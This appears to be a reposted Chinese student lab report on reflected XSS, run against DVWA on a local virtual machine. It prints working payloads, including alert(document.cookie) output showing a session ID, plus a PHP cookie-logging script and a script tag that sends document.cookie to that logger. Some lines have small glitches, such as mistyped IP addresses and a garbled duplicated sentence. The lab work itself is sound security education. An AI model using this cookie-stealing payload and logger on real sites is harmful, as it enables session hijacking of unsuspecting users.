反射型XSS漏洞

反射型XSS漏洞实验项目反射型XSS实验综合性实验2020年10月22日一、实验综述1.实验目的及要求(1)什么是XSSXSS,全称跨站脚本,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。(2)XSS分成两类:一类是来自内部的,主要指的是利用程序自身的漏洞,构造跨站语句。另一类则是来自外部的***,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要一个站点,我们自己构造一个有跨站漏洞的网页…

大家好,又见面了,我是你们的朋友全栈君。

实验项目 反射型XSS实验
综合性实验 2020年10月 22日

一、实验综述

1.实验目的及要求

(1)跨站脚本(XSS)
XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
(2)XSS漏洞分成三类:
一类是反射型XSS漏洞。产生原因:没有对用户提交的内容进行可靠的输入验证。
一类是保存型XSS漏洞。产生原因:未经适当 过滤净化就将保存在后端数据库的 用户提交的数据显示给其他用户。
另一类则是来自基于DOM的XSS漏洞。由于客户端JavaScript可以访问浏览器的文本对象模型(DOM),因此,它能够决定用于加载当前页面的URL,由应用程序发布的一段脚本可以从URL中提取数据,对这些数据进行处理,然后用它更新页面的内容,如果这样,应用程序就易受到基于 DOM的XSS攻击。

2.实验仪器、设备或软件

Vmware Workstation Pro 15.0
PHP study、DVWA
Windows 7操作系统

3.实验原理

(1)XSS工作原理:
XSS:Cross Site Script,为了和层叠式表(Cascading style sheet,CSS)有所区别,在安全领域叫做“XSS”.
XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意脚本从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示安全是跨域的,所以叫做“跨站脚本”。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要,由于历史原因,XSS一直保留下来。
(2)Web原理:两种 HTTP 请求方法:GET 和 POST
在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。GET – 从指定的资源请求数据。POST – 向指定的资源提交要被处理的数据。

二、实验过程(步骤过程、数据记录)

1.步骤

(1)打开虚拟机,在命令行中输入命令(ipconfig)查看虚拟机的IP地址。

在这里插入图片描述
(2)打开软件phpstudy_pro,启动Apache2.4.39和MySQL5.7.26.
在这里插入图片描述
(3)在本地浏览器中输入:http://192.168.45.128/DVWA-master/setup.php进入DVWA页面。

在这里插入图片描述
(4)将DVWA Security设为Low

在这里插入图片描述
(5)点击左侧XSS(reflected)

在这里插入图片描述
(6)在DVWA地址框中输入:http://192.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=#

在这里插入图片描述
显示结果,跳转到如下页面:

在这里插入图片描述
出现弹窗,说明存在xss。
从虚拟机外的主机访问192.168.45.128

(7)从虚拟机外的主机访问192.168.45.128
地址栏输入:http://192.168.45.168/DVWA-master/vulnerabilities/xss_r/?name=zhangsan

在这里插入图片描述
返回页面显示如下:

在这里插入图片描述
点击右下方的“View Source”显示页面如下:

在这里插入图片描述
根据回显信息判断出,显示的文本内容是 Hello name 。 我 们 输 入 的 信 息 被 存 放 在 name。我们输入的信息被存放在name 变量中。

(8)添加一条 JavaScript 代码获取 cookie,在上述文本框中输入,点击“submit”,弹出如下对话框:
在这里插入图片描述
在这里插入图片描述
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!

(9)在文本框中输入<body οnlοad=alert(‘xss2’)>

在这里插入图片描述
(10)文本框输入:<a href=’’ οnclick=alert(‘xss3’)>click1
在这里插入图片描述
显示结果如下:

在这里插入图片描述
点击“click1”,显示结果如下:

在这里插入图片描述
(11)在虚拟机192.168.45.128的WWW/DVWA-master目录下,新建cookie1.php,具体内容如下:

<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp,"my cookie is:".$cookie."\n"); //写入文件
fclose($fp); //关闭文件
?>

在这里插入图片描述
在客户端的文本框中输入以下内容,点击submit

<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>

在这里插入图片描述
在DVWA-master文件夹中生成cookie.text, 打开cookie.txt,可看到客户端的cookie值保存在该文本文件中

在这里插入图片描述

2.数据记录

(1)输入:
http://162.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=<script>alert("1")</script>#
输出:
1	
(2)输入:
http://192.168.45.128 /DVWA-master/vulnerabilities/xss_r/?name=zhangsan</script>
输出:
Hello zhangsan
(3)输入:
<script> alert(document.cookie) </script>
输出:
security=low;PHPSESSID=6feglj7cp01c7mk04dndleb6r2
(4)输入:
<body onload=alert('xss2')>
输出:
xss2
(5)输入:
<a href='' onclick=alert('xss3')>click1</a>
输出:
Hello click1
(5)输入:
<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>
输出:
创建cookie.txt文件

三、结果讨论与分析

1.实验结果

最终获取到用户的cookie信息:
my cookie is :security=low:PHPSESSID=6avva45en6mubmd3augjkcpjga

2.分析讨论

本次实验在DVWA虚拟环境中进行,学习到了xss注入的基本原理以及基本步骤,如何利用xss漏洞进行攻击,如何获取用户的cookie信息。

3.总结

反射型XSS漏洞产生原因及步骤:
原因:没有对用户输入的内容进行有效验证
步骤:
(1)用户正常登录,得到包含会话令牌的cookie
(2)攻击者将准备好的URL提交给用户
(3)用户访问攻击者 提供的URL
(4)服务器对攻击者的JavaScript做出响应
(5)攻击者的JavaScript在用户浏览器中执行
(6)用户浏览器向攻击者发送会话令牌
(7)攻击者劫持用户会话,得到cookie,访问用户个人信息并以该用户权限执行任意操作。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/130940.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • drone无人机操作_无人机怎么平稳降落

    drone无人机操作_无人机怎么平稳降落本文基于dronekit在实体无人机上实现最基本的起飞和降落,测试了这一过程中速度的变化以及起落位置的偏移。

    2022年8月15日
    5
  • Java项目的创建以及注意事项「建议收藏」

    Java项目的创建以及注意事项「建议收藏」Java项目的创建以及注意事项一,创建JavaProject方法1,在左边空白处右键,然后选择new,再点击JavaProject。方法2,点击左上角的File,然后选择new,再点击JavaProject二,给project项目命名,然后点击finish三,打开Test,然后右…

    2022年7月8日
    23
  • Android ListView 删除 item

    Android ListView 删除 item实现效果主要使用方法是,remove之后在刷新界面adapter里面的代码publicclassMyAdapterextendsBaseAdapter{privateList<ListBean>mDatas=null;privateContextmContext=null;publicMyAdapter(Contextcontext,List<ListBean>datas){

    2022年7月16日
    37
  • word2vec原理总结

    word2vec原理总结CBOW与Skip-Gram模型基础:https://www.cnblogs.com/pinard/p/7160330.htmlHierarchicalSoftmax的模型:https://www.cnblogs.com/pinard/p/7243513.htmlNegativeSampling的模型:https://www.cnblogs.com/pinard/p/7249903.h…

    2022年5月17日
    40
  • 教你如何免费使用云服务器「建议收藏」

    教你如何免费使用云服务器「建议收藏」深度学习没有GPU?!!教你如何白嫖服务器一、声明二、引言二、如何获取三、操作步骤3.1文件传输软件的安装3.3远程操控软件的安装四、资料软件分享五、总结教你如何白嫖服务器)一、声明本文章没有广告用意,只是觉得好用分享给大家。同时做个简单的记录。二、引言因为电脑只有CPU,算力不够,以及很多深度学习教程以及模型都是在GPU环境下进行,所以一直想着怎么样才能白嫖到服务器,毕竟云服务器不便宜,要是经常用的话,对学生党来说是一笔不小的支出。有一天经过群友推荐终于找到了一个可以免费试用200元的云服

    2022年9月26日
    1
  • OPNsense用户手册-缓存代理「建议收藏」

    OPNsense配备了功能齐全的正向缓存(透明)代理。缓存代理通过缓存对频繁请求的网页减少带宽使用并缩短响应时间。访问控制列表可用于用户身份验证和/或(基于类别)Web过滤器。功能包括:多接口支持透明模式(包括SSL/HTTPS)ICAP支持反病毒/恶意软件引擎HTTP代理FTP代理用户认证访问控制列表(对http(s)和ftp都有效)黑名单基于类别的Web过滤可以与流…

    2022年4月6日
    55

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号